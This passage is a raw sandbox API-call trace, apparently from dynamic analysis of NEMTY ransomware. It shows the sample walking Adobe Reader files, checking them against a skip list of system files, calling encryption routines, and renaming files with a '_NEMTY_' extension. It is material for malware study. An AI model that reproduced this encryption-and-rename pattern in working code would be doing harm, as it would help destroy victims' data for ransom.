returned 0x4f91750 [0207.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0207.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0207.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.401] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0207.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0207.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.401] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.420] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.420] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.468] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0207.508] CloseHandle (hObject=0xffffffff) returned 0 [0207.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0207.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0207.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0207.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0207.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.508] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-h._nemty_kgobjgd_")) returned 0 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0207.508] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-V", cAlternateFileName="HKDLB-~2")) returned 1 [0207.508] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2=".") returned 1 [0207.508] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="..") returned 1 [0207.508] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="...") returned 1 [0207.508] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="windows") returned -1 [0207.508] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="$RECYCLE.BIN") returned 1 [0207.508] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="rsa") returned -1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="NTDETECT.COM") returned -1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="ntldr") returned -1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="MSDOS.SYS") returned -1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="IO.SYS") returned -1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="boot.ini") returned 1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="boot.ini") returned 1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="AUTOEXEC.BAT") returned 1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="ntuser.dat") returned -1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="desktop.ini") returned 1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="CONFIG.SYS") returned 1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="RECYCLER") returned -1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="BOOTSECT.BAK") returned 1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="bootmgr") returned 1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="programdata") returned -1 [0207.509] lstrcmpiW (lpString1="HKdlb-B5-V", lpString2="appdata") returned 1 [0207.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdlb-B5-V", lpUsedDefaultChar=0x0) returned 10 [0207.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdlb-B5-V", lpUsedDefaultChar=0x0) returned 10 [0207.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-V", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdlb-B5-V", lpUsedDefaultChar=0x0) returned 10 [0207.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-V", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdlb-B5-V", lpUsedDefaultChar=0x0) returned 10 [0207.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0207.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0207.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0207.509] Sleep (dwMilliseconds=0x5) [0207.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f54f6f0, dwHighDateTime=0x1d561e8)) [0207.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f54f6f0, dwHighDateTime=0x1d561e8)) [0207.525] GetLastError () returned 0x5 [0207.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0207.525] GetLastError () returned 0x5 [0207.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0207.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.525] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0207.525] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0207.525] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0207.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0207.525] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="OhnLGw6eBdVCe62t+DZOUauv1QPYoLxZiGhwWuSbIYF1TFw/91T1e4I62z6KJ5OZ\r\nZ1MybviWQqYBKo4EMzaXSgx5P5i5PyZ2D/ghOyrbA5WisbJ8zidaozLuKY2SkGMB\r\nAYgti1tAHVRGcsSyzn3eh+4edg0clxGS9hSy+zcsx+bIfCQC2wNLJNebqX6YIED3\r\nj7h6xacMXxw3FhtBXlZtEE9zwsTw+MZFNrilj9mosWxow+gxlrEhkPfCdCFUpoVZ\r\nJW1nbjWpszsqXkA7Fi+tZg9IYilvWr9I5OdbW8ouxaJbgDGbYOOJUFXiUEvc2CBT\r\nRVvJ3wklgI4e+vfyPmYptA==\r\n", pcchString=0x653e91c) returned 1 [0207.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0207.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0207.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0207.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0207.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0207.526] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.526] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0207.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0207.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.535] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.545] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.554] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 